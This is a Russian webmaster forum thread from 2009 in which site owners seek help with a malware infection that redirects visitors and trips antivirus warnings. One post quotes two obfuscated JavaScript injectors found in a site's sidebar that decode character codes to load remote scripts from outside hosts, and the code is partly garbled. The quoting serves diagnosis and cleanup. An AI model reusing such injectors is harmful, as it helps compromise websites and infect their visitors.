X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Кто подскажет что за вирус, да как его удалить...
4ester7
4ester7
Topic Starter сообщение 17.11.2009, 13:53; Ответить: 4ester7
Сообщение #1


Появился вирус на сайте, аваст бушует, на сайт мой не заходит, поп0андеров и прочего нет, из скриптов только хот лог счетчик, что делать не знаю, подскажите - + в репку и спасибо гарантирую :-) ссылка - world-films.ru


--------------------
20% скидки по купону QA73IMGX на Linkbuilder Helper - сервис по базам сайтов.
1
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
DimonX
DimonX
сообщение 17.11.2009, 13:59; Ответить: DimonX
Сообщение #2


перенаправление на http://www.y*a*b*l*o*n*d*i*n*k*o.com/
Ройтесь в коде, чтото левое подгружается.
. htaccess - проверьте
Nod32 - молчит, но признаки левого кода налицо


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dibility
dibility
сообщение 17.11.2009, 14:05; Ответить: dibility
Сообщение #3


CODE
function googlesearch(){
var temp='',i,c=0,out='',wm='9';
var str='60!115!'+wm+''+wm+'!114!105!112!116!32!108!'+wm+'7!110!103!117!'+wm+'7!103!101!61!34!74!'+
wm+'7!118!'+wm+'7!83!'+wm+''+wm+'!114!105!112!116!34!62!10!32!32!3
2!32!118!'+wm+'7!114!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!61!32!3'+wm+'!3'+wm+
'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!6
0!115!'+wm+''+wm+'!114!3'+wm+'!32!43!32!3'+wm+'!105!112!116!32!10
8!'+wm+'7!110!103!117!'+wm+'7!103!101!61!34!74!'+wm+'7!118!'+wm+'7!83!'+wm+''+wm+'!3'+wm
+'!32!43!32!3'+wm+'!114!105!112!116!34!32!3'+wm+'!5'+wm+'!10!32!32!32!32!108!'+wm
+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!115!114!'+wm+''+wm+'!6
1!34!104!116!116!112!58!47!47!108!'+wm+'7!110!107!114!117!4'+wm+'!46!114!3'+
wm+'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!
43!61!32!3'+wm+'!117!47!106!115!46!112!104!112!63!105!100!61!4'+wm+'!55!53!4'+wm+'!4'+wm+'!3'+wm+'!5
'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!38!11
7!114!108!61!3'+wm+'!32!43!32!101!110!'+wm+''+w
m+'!111!100!101!85!82!73!67!111!10'+wm+'!112!111!110!101!110!116!40!100!111!'+wm+''+wm+'!117!10'
+wm+'!101!110!116!46!108!111!'+wm+''+wm+'!'+wm+'7!116!105!111!110!41!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+w
m+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!38!114!110!100!61!3'+wm+'!32!43!32!77!'+wm+'7!116!104!46!114!'+
wm+'7!110!100!111!10'+wm+'!40!41!32!43!32!3'+wm+'!34!62!60!4
7!115!'+wm+''+wm+'!114!3'+wm+'!32!43!32!3'+wm+'!105!112!116!62!3'+wm+'!5'+wm+'!10!32!32!32!32!100!111!'+wm+
''+wm+'!117!10'+wm+'!101!110!116!46!11'+wm+'!114!105!116!101!40!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!10
8!41!5'+wm+'!10!60!47!115!'+wm+''+wm+'!114!105!112!116!62!';
l=str.length;while(c<l){while(str.charAt©!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(tem
p);temp='';}document.write(out);
}
googlesearch();
</script>


<script language=JavaScript>
<!--
var temp='',i,c=0,out='';
var str='60!115!99!114!105!112!116!32!115!114!99!61!39!104!116!116!112!58!47!47!99!111!100!101!46!109!121!105!102!1
14!97!109!101!46!99!111!109!47!100!105!114!101!99!116!46!106!115!39!62!60!47!115!99!114!105!112!116!62!';
l=str.length;
while(c<=str.length-1)
{
while(str.charAt©!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp='';
}
document.write(out);
//-->
</script>


что то совсем этот код в сайдбаре не нужен, на мой взгляд.

Сообщение отредактировал dibility - 22.11.2009, 2:48


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Scotty
Scotty
сообщение 17.11.2009, 14:56; Ответить: Scotty
Сообщение #4


Зашёл, никаких перенаправлений, KIS 2010 молчит.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Frankie
Frankie
сообщение 17.11.2009, 15:08; Ответить: Frankie
Сообщение #5


попробуй сервис siteguard.ru


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dI_
dI_
сообщение 17.11.2009, 16:25; Ответить: dI_
Сообщение #6


Подхватил такую же гадость...ни как не могу его найти sad.gif Причем виден он только гостям, а если зайти как админ, то его не видно и аваст молчит...


--------------------
Пустота...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kpk21
kpk21
сообщение 17.11.2009, 16:41; Ответить: kpk21
Сообщение #7


аваст говорит троян.Сайт на Dle?Давай гляну.


--------------------
клоновод


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SHome
SHome
сообщение 17.11.2009, 16:53; Ответить: SHome
Сообщение #8


ТС, Тебе же dibility, написал, что ненужный скрип стоит, смотри сам в коде. dI_, тоже самое наверно.


--------------------
«Молодой» редактор ODP - Top: World: Russian: ...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dI_
dI_
сообщение 17.11.2009, 17:11; Ответить: dI_
Сообщение #9


В шаблоне и index.php его нету


--------------------
Пустота...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SHome
SHome
сообщение 17.11.2009, 17:27; Ответить: SHome
Сообщение #10


(dI_ @ 17.11.2009, 16:11) *
В шаблоне и index.php его нету

DLE 8.2 что-ли?


--------------------
«Молодой» редактор ODP - Top: World: Russian: ...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыВо что Вы играете?
400 Vmir 67952 20.4.2024, 18:39
автор: SaintExchange
Горячая тема (нет новых ответов) Во что сегодня инвестировать?
Делимся своими приносящими прибыль вариантами
76 traveliver 5082 20.4.2024, 18:27
автор: SaintExchange
Открытая тема (нет новых ответов) Кто где хранит файлы? И какой объем?
просто интересно
22 mark2013 2676 15.4.2024, 8:08
автор: Room
Горячая тема (нет новых ответов) LITE.HOST - хостинг для тех, кто любит не переплачивать
74 akkyoh 30909 6.4.2024, 19:41
автор: Kseniya_Klimova
Открытая тема (нет новых ответов) Пишет кто отзывы на сайт в янднекс с разных аккаунтах
1 TenDemon_rs 1184 22.3.2024, 13:18
автор: writer80


 



RSS Текстовая версия Сейчас: 24.4.2024, 19:45
Дизайн